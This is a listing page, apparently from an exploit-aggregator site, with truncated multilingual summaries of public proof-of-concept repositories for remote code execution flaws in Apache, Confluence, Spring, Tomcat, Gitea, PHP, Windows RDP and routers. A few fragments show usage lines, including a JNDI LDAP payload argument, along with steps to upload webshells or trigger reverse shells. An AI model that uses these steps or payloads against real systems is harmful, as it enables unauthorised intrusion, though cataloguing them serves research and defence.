CVE-2021-42013-ApacheRCE

CVE-2021-42013-ApacheRCE...

CVE-2019-0193

CVE-2019-0193 Удаленное выполнение кода...

CVE-2019-13025

Connect Box CH7465LG CVE-2019-13025 Информация Этот репозиторий содержит два PoC для Connect Box CH7465LG, работающего на прошивке CH7465LG-NCIP-6.12.18.24-5p8-NOSH или более ранней. Более подробную информацию можно найти в моём блоге. Использование Неаутентифицированное удалённое выполнение кода...

CVE-2025-24813

Описание Данный репозиторий представляет собой среду для воспроизведения последней RCE-уязвимости CVE-2025-24813 в Tomcat. Только для обучения и исследований! Условия эксплуатации В приложении включена функция записи DefaultServlet, которая по умолчанию отключена Приложение поддерживает частичные...

CVE-2019-3396

CVE-2019-3396 Обход пути в Confluence Widget Connector CVE-2019-3396 RCE POC root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: x.x.x.x Connection: close Accept-Encoding: gzip, deflate Accept: / User-Agent: Mozilla/5.0 X11; Linux x8664; rv:60.0 Gecko/20100101 Firefox/60.0...

CVE-2022-30781

🍵 CVE-2022-30781 Эксплойт удалённого выполнения команд при миграции репозитория Gitea. Как использовать 1. Запустите HTTP-сервер для раздачи файлов из этого репозитория. 2. Отредактируйте команду, которая будет выполнена, в api/v1/repos/e99/exp/pulls/1/index.html L96. 3. Мигрируйте удалённый...

spring-framework-rce

spring-framework-rce CVE-2022-22965 Требования к среде 1. tomcat8 8 Инструкция по использованию 1. Скачайте springframeworkrce-0.0.1-SNAPSHOT.zip, распакуйте и переименуйте в ROOT.war. 2. Замените папку ROOT или файл ROOT.war в папке webapps внутри tomcat. 3. Перейдите в каталог bin внутри tomcat...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2019-0708

CVE-2019-0708 первоначальный эксплойт для CVE-2019-0708, BlueKeep CVE-2019-0708 BlueKeep RDP удаленное ядро Windows Use After Free Драйвер RDP termdd.sys неправильно обрабатывает привязки к внутреннему каналу MST120, что позволяет с помощью искаженного сообщения Disconnect Provider Indication...

CVE-2026-14982 WP File Download <= 6.3.4 - Authenticated (Subscriber+) Arbitrary File Deletion via 'remoteurl' Parameter

The WP File Download plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the delete function in all versions. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files on the server,...

CVE-2026-14982

The WP File Download plugin for WordPress (versions ≤ 6.3.4 ) is vulnerable to arbitrary file deletion via insufficient path validation in the delete function. Authenticated attackers with subscriber-level access or above can exploit a two-stage attack : first calling the file.save endpoint to pe...

CVE-2022-25581

CVE-2022-25581 インターネット上でどこを探しても見つからないため、バックアップを残しておきます。Python エクスプロイトスクリプト 。以下の手順を自動的に実行するためのものです： ✅ スクリプトの機能目標 1. バックエンドにログインする（csrf と token を取得する） 2. 悪意のあるリクエストパケットを構築し、圧縮ファイル（webshell を含む）をアップロードする 3. アップロードした webshell にアクセスして制御権限を取得する（GET shell） 🧾 前提条件 対象環境：ClassCMS 2.4 Webサーバー：PHP 5.5 + MySQ...

CVE-2019-7609

CVE-2019-7609 настройка docker-лаборатории для kibana-7609 Ссылка : https://github.com/mpgn/CVE-2019-7609 root@kitploit: Откройте Kibana Вставьте один из следующих пейлоадов в визуализатор Timelion Нажмите Run На левой панели нажмите на Canvas Ваш reverse shell должен появиться! : пейлоад от...

CVE-2022-22965_Spring_Core_RCE

Spring-Core-RCE Уязвимость удаленного выполнения команд в Spring Framework CVE-2022-22965 Spring-Core-RCE — это эксплойт для удаленного выполнения команд уровня «ядерной бомбы», аналогичный Apache Log4j2. Обзор Недавно в официальном GitHub issue Spring было упомянуто об уязвимости удаленного...

pulse-secure-vpn-mitm-research

pulse-secure-vpn-mitm-research Исследование Man-in-the-Middle MitM для Pulse Secure Дата публикации Совместная дата публикации с вендором: 26 октября 2020 Автор David Kierznowski, @withdk Благодарности Спасибо Sahil Mahajan из Pulse Secure PSIRT за поддержку в процессе раскрытия информации. Alyss...

confluence-rce-poc

confluence-rce-poc Настройка POC для CVE-2021-26084 Docker Подайте официальный docker-entrypoint.sh в postgres, измените имя пользователя и пароль БД по необходимости...

pulse-gosecure-rce-poc

root@kitploit: /\ \ /\ \ /\ \ /\ \ /\ \ /::\ \ /::\ /::\ /::\ \ /::\ \ /::::\ \ /:::/ / /:::/ / /::::\ \ /::::\ \ /::::::\ \ /:::/ / /:::/ / /::::::\ \ /::::::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ \ /::::\ :::\ \ /:::/ /...

CVE-2023-46404

CVE-2023-46404 PCRS는 토론토 대학교에서 개발된 온라인 프로그래밍 연습용 웹 애플리케이션입니다. Bitbucket 저장소를 참조하십시오: https://bitbucket.org/utmandrew/pcrs/src/3.11/ 요약 코드 제출 기능이 있는 PCRS의 “Questions” 페이지와 “Code editor” 페이지는 Python 샌드박스를 탈출하여 원격 코드 실행RCE에 취약합니다. 상세 정보 PCRS 인스턴스에서는 생성기generator 객체를 사용하여 원격 코드 실행이 가능합니다. 생성기...

HG532d-RCE-Exploit

Эксплойт RCE для HG532d Обзор Эксплойт удаленного выполнения кода RCE, основанный на уязвимости CVE-2017-17215. Модифицирован из оригинального PoC-кода с exploit-db.com для работы на домашних шлюзовых маршрутизаторах Huawei HG532d. Описание Этот RCE-эксплойт основан на CVE-2017-17215, который...

CVE-2024-4577

Это POC для CVE 2024-4577 Этот эксплойт позволяет атакующему выполнить RCE на версиях PHP, таких как PHP 8.3 8.3.8, PHP 8.2 8.2.20, PHP 8.1 8.1.29 Аргументы вы можете посмотреть в коде! Чтобы узнать больше об этом конкретном эксплойте, смотрите nist.gov...